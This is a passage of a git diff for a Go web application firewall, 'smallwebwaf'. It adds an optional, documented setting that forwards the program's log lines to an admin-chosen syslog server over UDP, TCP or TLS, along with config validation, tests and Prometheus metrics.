"Request log" below). +- Sends every line it writes on stdout to a syslog server as well, while + `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" + below). ## Settings @@ -288,6 +292,23 @@ it, and the effective settings are logged at start. rule files. A directory that does not exist stops the start. - `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file, and checks no request against one. +- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that every line on + stdout is also sent to, as `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` + with a host and a port, such as `syslog+tls://logs.example:6514`. Unset or + empty, nothing is sent. +- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates, + which the certificate of a `syslog+tls` server must chain to instead of the + host's own. A file that cannot be read or holds no certificate stops the + start. +- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they + wait to be sent. +- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility the lines + are sent with: `kern`, `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, + `news`, `uucp`, `cron`, `authpriv`, `ftp`, or `local0` to `local7`. +- `SWWAF_LOG_REMOTE_APP_NAME` (default `SWWAF_INSTANCE_NAME`): the app name the + lines are sent with, 1 to 48 printable ASCII characters without a space. While + `SWWAF_LOG_REMOTE_URL` is set, an `SWWAF_INSTANCE_NAME` that is not such a + name stops the start too, unless this setting gives one that is. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 @@ -297,8 +318,8 @@ ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a code on both country lists. `off` switches a timeout, a size limit or a rate limit off; -`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, the ban settings, the state settings -and `SWWAF_METRICS_TOP_N` cannot be off. +`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, the ban settings, the state settings, +`SWWAF_METRICS_TOP_N` and `SWWAF_LOG_REMOTE_BUFFER` cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept, with their counters and history, and an IPv6 client is counted by its /64. A new @@ -404,6 +425,32 @@ which it answers `431`, headers slower than `SWWAF_CLIENT_REQUEST_TIMEOUT`, whose connection it closes without an answer, and requests it cannot read at all, which it answers itself, mostly with `400`. +### Sending the log to a syslog server + +While `SWWAF_LOG_REMOTE_URL` is set, every line `smallwebwaf` writes on stdout, +request lines and its own, is also sent to that syslog server, as the message of +an RFC 5424 record: one record to a datagram over UDP, and over TCP and TLS each +record after its length in bytes and a space. A record gives the facility +`SWWAF_LOG_REMOTE_FACILITY` names, the severity informational, the time the line +was written, in the same form as a request line's `time`, the host's name, and +the app name `SWWAF_LOG_REMOTE_APP_NAME` gives. stdout is unchanged. + +The lines wait in a buffer of `SWWAF_LOG_REMOTE_BUFFER` lines and are sent from +there, so a server that is slow or cannot be reached never holds up a request or +stdout. When the buffer is full, its oldest line is dropped to make room. A line +whose sending fails is dropped too, and the connection closed. That failure, +like a failed attempt to connect, is logged and followed by the next attempt to +connect a second later, twice as long after each further failure up to a minute, +and a second again after a connection that stayed up for a minute before it +failed. A line too long for one UDP datagram is dropped alone, with no wait and +nothing logged. UDP gives no sign of what arrives, and over TCP and TLS a line +sent on a connection the server has just closed can be lost before a failure +shows; such a loss is not counted. + +As `smallwebwaf` stops, it sends the lines still waiting, on the connection open +or a new one, for at most two seconds, and gives up the rest; stdout has carried +them. + ## State files `smallwebwaf` keeps its state in memory and a copy of it in three JSON files in @@ -604,6 +651,11 @@ other request. No metric carries a client's address. `smallwebwaf_state_file_edits_taken_in_total`: your edits taken in, and `smallwebwaf_state_file_edits_set_aside_total`: those renamed to `.bad` because they would stop the start. +- While `SWWAF_LOG_REMOTE_URL` is set, + `smallwebwaf_remote_log_lines_sent_total`: the lines sent to it; + `smallwebwaf_remote_log_lines_dropped_total`: those dropped, from a full + buffer or because their sending failed; and + `smallwebwaf_remote_log_buffer_depth`: those waiting in the buffer. - Go's own `go_` metrics and the process's `process_` metrics. The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request @@ -913,6 +965,10 @@ addresses are never sent to GeoJS. one while running, and writes them when they are due and at the stop. - `internal/requestlog`: the lines on stdout: the request log line and the process's own messages. +- `internal/remotelog`: sends the lines on stdout to `SWWAF_LOG_REMOTE_URL`, + each as a syslog record, from a buffer of its own. It is written with the + standard library alone, whose `log/syslog` writes only the older syslog + format. - `Dockerfile`: the lint and test phases, then the image, whose last stage installs Ubuntu's packages, nixpkgs, `runsvinit` and `smallwebwaf`, with `share/smallwebwaf.run` as runit's `run` script for `smallwebwaf` and diff --git a/internal/config/config.go b/internal/config/config.go index 941903e..0f0ddc0 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -4,6 +4,7 @@ package config import ( + "crypto/x509" "errors" "fmt" "log/slog" @@ -19,6 +20,8 @@ import ( "strings" "time" "unicode/utf8" + + "sneak.berlin/go/smallwebwaf/internal/remotelog" ) // Config is smallwebwaf's settings. A timeout, size or rate limit of zero @@ -135,6 +138,21 @@ type Config struct { // unless RulesEnabled is false (SWWAF_RULES_ENABLED). RulesDir string RulesEnabled bool + // LogRemoteURL is where every line on stdout is also sent + // (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent. + // LogRemoteTLSCAs are the certificates a syslog+tls endpoint's + // certificate must chain to (SWWAF_LOG_REMOTE_TLS_CA_FILE), nil while + // it is unset and the host's own are used. LogRemoteBuffer is the most + // lines held while they wait to be sent (SWWAF_LOG_REMOTE_BUFFER). + // LogRemoteFacility is the number of the syslog facility + // (SWWAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME + // (SWWAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records + // the lines are sent in. + LogRemoteURL *url.URL + LogRemoteTLSCAs *x509.CertPool + LogRemoteBuffer int + LogRemoteFacility int + LogRemoteAppName string // settings are the values read, as given or by default, for the // log line at start. @@ -195,7 +213,14 @@ var ( errNotMode = errors.New("is not enforce or observe") errNotPathPrefix = errors.New( "is not a path prefix starting with /, such as /assets/") - errNotBoolean = errors.New("is not true or false") + errNotBoolean = errors.New("is not true or false") + errNotLogRemoteURL = errors.New( + "is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " + + "and nothing more, such as syslog+tls://logs.example:6514") + errNoCertificate = errors.New("holds no PEM certificate") + errNotFacility = errors.New("is not a syslog facility such as local0 or daemon") + errNotAppName = errors.New( + "is not 1 to 48 printable ASCII characters without a space, such as gitea") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -241,12 +266,19 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", "accept,accept-language,accept-encoding,content-type,origin,range"), - MetricsToken: env.token("SWWAF_METRICS_TOKEN"), - MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), - RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), - RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), + MetricsToken: env.token("SWWAF_METRICS_TOKEN"), + MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), + RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), + RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), + LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), + LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"), + LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"), + LogRemoteFacility: env.facility("SWWAF_LOG_REMOTE_FACILITY", "local0"), } + cfg.LogRemoteAppName = env.appName("SWWAF_LOG_REMOTE_APP_NAME", + cfg.InstanceName, cfg.LogRemoteURL != nil) + for _, country := range cfg.ExclusivelyAllowedCountries { if slices.Contains(cfg.DeniedCountries, country) { env.check("SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", @@ -468,6 +500,74 @@ func (e *environment) token(name string) string { return value } +// logRemoteURL reads the setting that is where every log line is also +// sent. Unset or empty, it is nil, and nothing is sent. +func (e *environment) logRemoteURL(name string) *url.URL { + value := e.value(name, "") + if value == "" { + return nil + } + + remote, err := parseLogRemoteURL(value) + e.check(name, err) + + return remote +} + +// certificates reads a setting that is the path of a file of PEM +// certificates. Unset or empty, it is nil. +func (e *environment) certificates(name string) *x509.CertPool { + path := e.value(name, "") + if path == "" { + return nil + } + + pem, err := os.ReadFile(path) //nolint:gosec // a file the admin names + if err != nil { + e.check(name, fmt.Errorf("cannot be read: %w", err)) + + return nil + } + + pool := x509.NewCertPool() + if !pool.AppendCertsFromPEM(pem) { + e.check(name, fmt.Errorf("%q %w", path, errNoCertificate)) + + return nil + } + + return pool +} + +// facility reads a setting that is a syslog facility, and returns its +// number. +func (e *environment) facility(name, defaultValue string) int { + number, err := parseFacility(e.value(name, defaultValue)) + e.check(name, err) + + return number +} + +// appName reads the setting that is the APP-NAME of the records the log +// lines are sent in, by default the instance name. Its value is checked +// when it is set, and, while lines are sent, when it is the instance name. +func (e *environment) appName(name, instanceName string, sending bool) string { + _, set := e.lookupEnv(name) + + value := e.value(name, instanceName) + + switch { + case isAppName(value): + case set: + e.check(name, fmt.Errorf("%q %w", value, errNotAppName)) + case sending: + e.check(name, fmt.Errorf("is unset, and SWWAF_INSTANCE_NAME %q, its default, %w", + value, errNotAppName)) + } + + return value +} + // parseDuration reads a duration in Go's syntax, such as 90s or 15m, a // whole number of days such as 7d, or off. func parseDuration(value string) (time.Duration, error) { @@ -841,3 +941,64 @@ func parseUpstreamURL(value string) (*url.URL, error) { return upstream, nil } + +// parseLogRemoteURL reads where every log line is also sent: +// syslog+udp, syslog+tcp or syslog+tls, a host and a port from 1 to +// 65535, and nothing else. +func parseLogRemoteURL(value string) (*url.URL, error) { + remote, err := url.Parse(value) + if err != nil { + return nil, fmt.Errorf("%q %w", value, errNotLogRemoteURL) + } + + schemes := []string{remotelog.SchemeUDP, remotelog.SchemeTCP, remotelog.SchemeTLS} + port, err := strconv.ParseUint(remote.Port(), 10, 16) + + onlySchemeHostAndPort := slices.Contains(schemes, remote.Scheme) && + remote.Hostname() != "" && err == nil && port != 0 && + remote.User == nil && remote.Opaque == "" && + (remote.Path == "" || remote.Path == "/") && + remote.RawQuery == "" && remote.Fragment == "" + if !onlySchemeHostAndPort { + return nil, fmt.Errorf("%q %w", value, errNotLogRemoteURL) + } + + return remote, nil +} + +// parseFacility reads the name of a syslog facility, and returns its +// number, as RFC 5424 numbers them. +func parseFacility(value string) (int, error) { + //nolint:mnd // the facilities' numbers in RFC 5424 + number, known := map[string]int{ + "kern": 0, "user": 1, "mail": 2, "daemon": 3, "auth": 4, "syslog": 5, + "lpr": 6, "news": 7, "uucp": 8, "cron": 9, "authpriv": 10, "ftp": 11, + "local0": 16, "local1": 17, "local2": 18, "local3": 19, + "local4": 20, "local5": 21, "local6": 22, "local7": 23, + }[value] + if !known { + return 0, fmt.Errorf("%q %w", value, errNotFacility) + } + + return number, nil +} + +// appNameMaxLength is the most characters RFC 5424 allows in an +// APP-NAME. +const appNameMaxLength = 48 + +// isAppName reports whether value can be an APP-NAME: 1 to +// appNameMaxLength printable ASCII characters, none of them a space. +func isAppName(value string) bool { + if value == "" || len(value) > appNameMaxLength { + return false + } + + for _, char := range []byte(value) { + if char < '!' || char > '~' { + return false + } + } + + return true +} diff --git a/internal/config/config_test.go b/internal/config/config_test.go index a9c326a..30a97e1 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -2,11 +2,13 @@ package config_test import ( "bytes" + "crypto/x509" "encoding/json" "log/slog" "maps" "net/netip" "os" + "path/filepath" "slices" "strings" "testing" @@ -54,15 +56,41 @@ const ( logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" rulesDir = "SWWAF_RULES_DIR" rulesEnabled = "SWWAF_RULES_ENABLED" + logRemoteURL = "SWWAF_LOG_REMOTE_URL" + logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE" + logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER" + logRemoteFacility = "SWWAF_LOG_REMOTE_FACILITY" + logRemoteAppName = "SWWAF_LOG_REMOTE_APP_NAME" ) // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + "content-type,origin,range" +// testCA is a CA certificate, of which only that it reads matters here. +const testCA = `-----BEGIN CERTIFICATE----- +MIIBkzCCATmgAwIBAgIUeySaE27dnr6A2HijrMB13gTLUKIwCgYIKoZIzj0EAwIw +HjEcMBoGA1UEAwwTc21hbGx3ZWJ3YWYgdGVzdCBDQTAgFw0yNjEwMDYxNDI2MTNa +GA8yMTI2MDkxMjE0MjYxM1owHjEcMBoGA1UEAwwTc21hbGx3ZWJ3YWYgdGVzdCBD +QTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABKDEhcWKKhet2KgSdME+iEPxyEyn +2sd9IdElbt8DM2SfCdB2JsXo0C07UNZaywMPMfn/n8LNI/PKwu+N2uX7gfSjUzBR +MB0GA1UdDgQWBBRZo3BPLv0KbV4drw6JI1JIUKmoRzAfBgNVHSMEGDAWgBRZo3BP +Lv0KbV4drw6JI1JIUKmoRzAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMCA0gA +MEUCICC5k+76UpWoSwVbZA+atu5WcALEOJGqwOUWua3zemhcAiEA8Hfdxgwp0z2v +rlG9y/jrJb6ORy3kTLWo2EA0BA67vuI= +-----END CERTIFICATE----- +` + // token is a token of 32 characters, the shortest allowed. const token = "0123456789abcdef0123456789abcdef" +// instance is an SWWAF_INSTANCE_NAME that is a valid app name too, and +// remoteURL an SWWAF_LOG_REMOTE_URL, for the tests that send the lines. +const ( + instance = "fsn1app1/gitea" + remoteURL = "syslog+udp://192.0.2.1:514" +) + // off switches a timeout, a size limit or a rate limit off. const off = "off" @@ -273,6 +301,177 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { } } +func TestRemoteLogSettingsDefaults(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{instanceName: instance}) + + if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil || + cfg.LogRemoteBuffer != 10000 || cfg.LogRemoteFacility != 16 || + cfg.LogRemoteAppName != instance { + t.Errorf("remote log settings %v, %v, %d, %d and %q, want no URL, no "+ + "certificates, 10000, 16 and %s's %s", cfg.LogRemoteURL, + cfg.LogRemoteTLSCAs, cfg.LogRemoteBuffer, cfg.LogRemoteFacility, + cfg.LogRemoteAppName, instanceName, instance) + } +} + +func TestRemoteLogSettingsAsSet(t *testing.T) { + t.Parallel() + + caFile := filepath.Join(t.TempDir(), "ca.pem") + + err := os.WriteFile(caFile, []byte(testCA), 0o600) + if err != nil { + t.Fatalf("write %s: %v", caFile, err) + } + + cfg := fromEnvironment(t, environment{ + logRemoteURL: "syslog+tls://logs.example:6514", + logRemoteTLSCAFile: caFile, + logRemoteBuffer: "500", + logRemoteFacility: "daemon", + logRemoteAppName: instance, + }) + + roots := x509.NewCertPool() + roots.AppendCertsFromPEM([]byte(testCA)) + + if cfg.LogRemoteURL.String() != "syslog+tls://logs.example:6514" || + !roots.Equal(cfg.LogRemoteTLSCAs) || cfg.LogRemoteBuffer != 500 || + cfg.LogRemoteFacility != 3 || cfg.LogRemoteAppName != instance { + t.Errorf("remote log settings %v, %v, %d, %d and %q", cfg.LogRemoteURL, + cfg.LogRemoteTLSCAs, cfg.LogRemoteBuffer, cfg.LogRemoteFacility, + cfg.LogRemoteAppName) + } +} + +func TestRemoteLogURLForms(t *testing.T) { + t.Parallel() + + for _, value := range []string{ + "syslog+udp://192.0.2.1:514", + "syslog+tcp://[2001:db8::1]:514", + "syslog+tls://logs.example:6514/", + } { + cfg := fromEnvironment(t, environment{logRemoteURL: value}) + if cfg.LogRemoteURL.String() != value { + t.Errorf("%s read as %v", value, cfg.LogRemoteURL) + } + } + + cfg := fromEnvironment(t, environment{logRemoteURL: ""}) + if cfg.LogRemoteURL != nil { + t.Errorf("set but empty, %s read as %v", logRemoteURL, cfg.LogRemoteURL) + } +} + +func TestRemoteLogFacilitiesByNumber(t *testing.T) { + t.Parallel() + + for name, number := range map[string]int{ + "kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11, + "local0": 16, "local5": 21, "local7": 23, + } { + cfg := fromEnvironment(t, environment{logRemoteFacility: name}) + if cfg.LogRemoteFacility != number { + t.Errorf("%s read as %d, want %d", name, cfg.LogRemoteFacility, number) + } + } +} + +func TestInvalidRemoteLogSettingStopsTheStart(t *testing.T) { + t.Parallel() + + for _, tc := range []struct{ name, value string }{ + {logRemoteURL, "logs.example:514"}, + {logRemoteURL, "syslog://logs.example:514"}, + {logRemoteURL, "http://logs.example:514"}, + {logRemoteURL, "syslog+udp://logs.example"}, + {logRemoteURL, "syslog+tcp://:514"}, + {logRemoteURL, "syslog+tcp://logs.example:0"}, + {logRemoteURL, "syslog+tls://logs.example:65536"}, + {logRemoteURL, "syslog+tls://user@logs.example:6514"}, + {logRemoteURL, "syslog+tcp://logs.example:514/app"}, + {logRemoteURL, "syslog+tcp://logs.example:514?tls=1"}, + {logRemoteTLSCAFile, "/nonexistent/ca.pem"}, + {logRemoteBuffer, off}, {logRemoteBuffer, "0"}, {logRemoteBuffer, "10K"}, + {logRemoteFacility, "local8"}, {logRemoteFacility, "LOCAL0"}, + {logRemoteFacility, "16"}, {logRemoteFacility, ""}, + {logRemoteAppName, ""}, {logRemoteAppName, "my app"}, + {logRemoteAppName, "gitéa"}, {logRemoteAppName, strings.Repeat("a", 49)}, + } { + _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { + t.Errorf("%s=%q: error %v, want one naming it", tc.name, tc.value, err) + } + } +} + +func TestRemoteLogCAFileWithoutCertificateStopsTheStart(t *testing.T) { + t.Parallel() + + caFile := filepath.Join(t.TempDir(), "ca.pem") + + err := os.WriteFile(caFile, []byte("not a certificate\n"), 0o600) + if err != nil { + t.Fatalf("write %s: %v", caFile, err) + } + + _, err = config.FromEnvironment(environment{logRemoteTLSCAFile: caFile}.lookupEnv) + + want := logRemoteTLSCAFile + `: "` + caFile + `" holds no PEM certificate` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) { + t.Parallel() + + const spaced = "fsn1 app1" + + sending := environment{logRemoteURL: remoteURL, instanceName: spaced} + + _, err := config.FromEnvironment(sending.lookupEnv) + + want := logRemoteAppName + `: is unset, and ` + instanceName + + ` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` + + `without a space, such as gitea` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + + cfg := fromEnvironment(t, environment{instanceName: spaced}) + if cfg.LogRemoteAppName != spaced { + t.Errorf("not sending, %s is %q", logRemoteAppName, cfg.LogRemoteAppName) + } + + sending[logRemoteAppName] = instance + + cfg = fromEnvironment(t, sending) + if cfg.LogRemoteAppName != instance { + t.Errorf("set to %s, %s is %q", instance, logRemoteAppName, + cfg.LogRemoteAppName) + } +} + +func TestAppNameSetStopsTheStartWhileSending(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{ + logRemoteURL: remoteURL, + instanceName: instance, + logRemoteAppName: "my app", + }.lookupEnv) + + want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` + + `characters without a space, such as gitea` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) { t.Parallel() @@ -581,6 +780,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { logRequestHeaders: defaultLogRequestHeaders, rulesDir: "/etc/smallwebwaf/rules.d", rulesEnabled: "true", + logRemoteURL: "", + logRemoteTLSCAFile: "", + logRemoteBuffer: "10000", + logRemoteFacility: "local0", + logRemoteAppName: hostname, } if !maps.Equal(line.Settings, want) { t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 52f969a..96acb0a 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -13,6 +13,7 @@ import ( "github.com/prometheus/client_golang/prometheus/promhttp" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" ) @@ -197,6 +198,33 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) { })) } +// AddRemoteLog adds the metrics of sending the log lines to +// SWWAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the +// lines sent, those dropped, and those waiting in the buffer. +func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) { + m.registry.MustRegister( + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_remote_log_lines_sent_total", + Help: "Log lines sent to SWWAF_LOG_REMOTE_URL.", + }, func() float64 { + return float64(remote.Sent()) + }), + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_remote_log_lines_dropped_total", + Help: "Log lines dropped: the oldest in a full buffer, and those " + + "whose sending failed.", + }, func() float64 { + return float64(remote.Dropped()) + }), + prometheus.NewGaugeFunc(prometheus.GaugeOpts{ + Name: "smallwebwaf_remote_log_buffer_depth", + Help: "Log lines in the buffer, waiting to be sent.", + }, func() float64 { + return float64(remote.Depth()) + }), + ) +} + // ServeHTTP answers with the metrics in the Prometheus text format. func (m *Metrics) ServeHTTP(w http.ResponseWriter, r *http.Request) { m.handler.ServeHTTP(w, r) diff --git a/internal/remotelog/remotelog.go b/internal/remotelog/remotelog.go new file mode 100644 index 0000000..d40239b --- /dev/null +++ b/internal/remotelog/remotelog.go @@ -0,0 +1,310 @@ +// Package remotelog sends the lines smallwebwaf writes on stdout to the +// remote log endpoint, SWWAF_LOG_REMOTE_URL, as the "Request log" section +// of SPEC.md describes: each line as the message of an RFC 5424 syslog +// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow +// or unreachable endpoint never holds up a request or stdout. +package remotelog + +import ( + "bytes" + "context" + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "log/slog" + "net" + "net/url" + "os" + "strconv" + "sync/atomic" + "syscall" + "time" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// The forms of SWWAF_LOG_REMOTE_URL, by its scheme. +const ( + SchemeUDP = "syslog+udp" + SchemeTCP = "syslog+tcp" + SchemeTLS = "syslog+tls" +) + +// A record's priority is the number of its facility times the number of +// severities there are, plus the number of its severity. Every record's +// severity is informational. +const ( + severities = 8 + informational = 6 +) + +const ( + // dialTimeout bounds connecting to the endpoint, the TLS handshake + // included. + dialTimeout = 10 * time.Second + // After a failed attempt to connect, or a connection on which a record + // fails, the next attempt to connect is made a second later, and + // retryDelayFactor times as long after each further failure in a row, + // up to a minute. A connection that fails after it has stayed up for + // resetRetryDelayAfter ends the row. + firstRetryDelay = time.Second + retryDelayFactor = 2 + maxRetryDelay = time.Minute + resetRetryDelayAfter = time.Minute +) + +// Params are what New needs. +type Params struct { + // URL is the endpoint (SWWAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or + // SchemeTLS, a host and a port. + URL *url.URL + // RootCAs are the certificates a SchemeTLS endpoint's certificate + // must chain to (SWWAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's. + RootCAs *x509.CertPool + // Buffer is the most lines held while they wait to be sent + // (SWWAF_LOG_REMOTE_BUFFER). + Buffer int + // Facility is the number of the records' syslog facility + // (SWWAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME + // (SWWAF_LOG_REMOTE_APP_NAME). + Facility int + AppName string +} + +// Sender sends lines to the endpoint. Write puts them in its buffer, and +// Run sends them from there. +type Sender struct { + url *url.URL + tlsConfig *tls.Config + // beforeTime and afterTime are the parts of every record's header + // before and after its time, as RFC 5424 lays the header out. + beforeTime string + afterTime string + // records is the buffer: each line's record, framed to be sent. + records chan []byte + sent atomic.Int64 + dropped atomic.Int64 +} + +// New returns a Sender for the endpoint params.URL. +func New(params Params) *Sender { + hostname, err := os.Hostname() + if err != nil || hostname == "" { + hostname = "-" // RFC 5424's value for a field that has none + } + + priority := params.Facility*severities + informational + + return &Sender{ + url: params.URL, + tlsConfig: &tls.Config{ + RootCAs: params.RootCAs, + MinVersion: tls.VersionTLS12, + }, + // The 1 is the version of the format. The process id, the message + // id and the structured data have no value. + beforeTime: "<" + strconv.Itoa(priority) + ">1 ", + afterTime: " " + hostname + " " + params.AppName + " - - - ", + records: make(chan []byte, params.Buffer), + } +} + +// Write puts each line in p in the buffer, as the message of a record of +// its own, and never waits: when the buffer is full, the oldest record in +// it is dropped to make room. It is safe for concurrent use. +func (s *Sender) Write(p []byte) (int, error) { + at := requestlog.FormatTime(time.Now()) + + for line := range bytes.Lines(p) { + line = bytes.TrimSuffix(line, []byte("\n")) + if len(line) > 0 { + s.put(s.record(at, line)) + } + } + + return len(p), nil +} + +// Sent is how many records have been sent. +func (s *Sender) Sent() int64 { + return s.sent.Load() +} + +// Dropped is how many records were dropped: the oldest in a full buffer, +// and those whose sending failed. +func (s *Sender) Dropped() int64 { + return s.dropped.Load() +} + +// Depth is how many records are in the buffer. +func (s *Sender) Depth() int { + return len(s.records) +} + +// Run connects to the endpoint and sends each record as it comes into the +// buffer, until ctx is done. Then it sends the records still in the buffer, +// on the connection open at that time or, if there is none, on a new one, +// until none is left or one fails, and returns. How long it may take over +// that is for the caller to bound. +// +// A connection on which a record fails is closed and the record dropped. +// That failure, like a failed attempt to connect, is logged to processLog +// and followed by the next attempt after firstRetryDelay, retryDelayFactor +// times as long after each further failure in a row up to maxRetryDelay, +// and firstRetryDelay again after a connection that stayed up for +// resetRetryDelayAfter. Meanwhile the records wait in the buffer. +func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) { + conn := s.send(ctx, processLog) + if conn == nil && len(s.records) > 0 { + conn, _ = s.dial(context.WithoutCancel(ctx)) + } + + if conn == nil { + return + } + + defer func() { + _ = conn.Close() + }() + + for { + select { + case record := <-s.records: + if s.write(conn, record) != nil { + return + } + default: + return + } + } +} + +// record returns line as an RFC 5424 record made at the time at, framed +// for the endpoint: on its own over UDP, since each datagram holds one, +// and over TCP and TLS after its length in bytes and a space, the +// octet-counted framing of RFC 6587 and RFC 5425. +func (s *Sender) record(at string, line []byte) []byte { + record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line)) + record = append(record, s.beforeTime...) + record = append(record, at...) + record = append(record, s.afterTime...) + record = append(record, line...) + + if s.url.Scheme == SchemeUDP { + return record + } + + return append([]byte(strconv.Itoa(len(record))+" "), record...) +} + +// put adds record to the buffer, first dropping the oldest record in it +// while it is full. +func (s *Sender) put(record []byte) { + for { + select { + case s.records <- record: + return + default: + } + + select { + case <-s.records: + s.dropped.Add(1) + default: + } + } +} + +// send connects to the endpoint and sends each record as it comes into +// the buffer, until ctx is done, and returns the connection then open, or +// nil. +func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn { + delay := firstRetryDelay + + for { + conn, err := s.dial(ctx) + if ctx.Err() != nil { + return conn + } + + if err == nil { + connected := time.Now() + + err = s.sendOn(ctx, conn) + if err == nil { + return conn + } + + _ = conn.Close() + + if time.Since(connected) >= resetRetryDelayAfter { + delay = firstRetryDelay + } + } + + processLog.Warn("sending to SWWAF_LOG_REMOTE_URL failed", + "error", err.Error(), "connecting_again_in", delay.String()) + + select { + case <-time.After(delay): + case <-ctx.Done(): + return nil + } + + delay = min(retryDelayFactor*delay, maxRetryDelay) + } +} + +// sendOn sends each record on conn as it comes into the buffer, until one +// fails, whose error it returns, or ctx is done. +func (s *Sender) sendOn(ctx context.Context, conn net.Conn) error { + for { + select { + case record := <-s.records: + err := s.write(conn, record) + if err != nil { + return err + } + case <-ctx.Done(): + return nil + } + } +} + +// write sends record on conn, and counts it as sent or, if that fails, +// as dropped. A record too long for one UDP datagram is dropped without +// an error, since the connection has not failed: a long request must not +// hold up the lines after it. +func (s *Sender) write(conn net.Conn, record []byte) error { + _, err := conn.Write(record) + if err != nil { + s.dropped.Add(1) + + if errors.Is(err, syscall.EMSGSIZE) { + return nil + } + + return fmt.Errorf("send a record: %w", err) + } + + s.sent.Add(1) + + return nil +} + +// dial connects to the endpoint. +func (s *Sender) dial(ctx context.Context) (net.Conn, error) { + dialer := &net.Dialer{Timeout: dialTimeout} + + switch s.url.Scheme { + case SchemeUDP: + return dialer.DialContext(ctx, "udp", s.url.Host) + case SchemeTLS: + tlsDialer := &tls.Dialer{NetDialer: dialer, Config: s.tlsConfig} + + return tlsDialer.DialContext(ctx, "tcp", s.url.Host) + default: + return dialer.DialContext(ctx, "tcp", s.url.Host) + } +} diff --git a/internal/remotelog/remotelog_test.go b/internal/remotelog/remotelog_test.go new file mode 100644 index 0000000..10b02fe --- /dev/null +++ b/internal/remotelog/remotelog_test.go @@ -0,0 +1,640 @@ +package remotelog_test + +import ( + "bufio" + "bytes" + "context" + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/tls" + 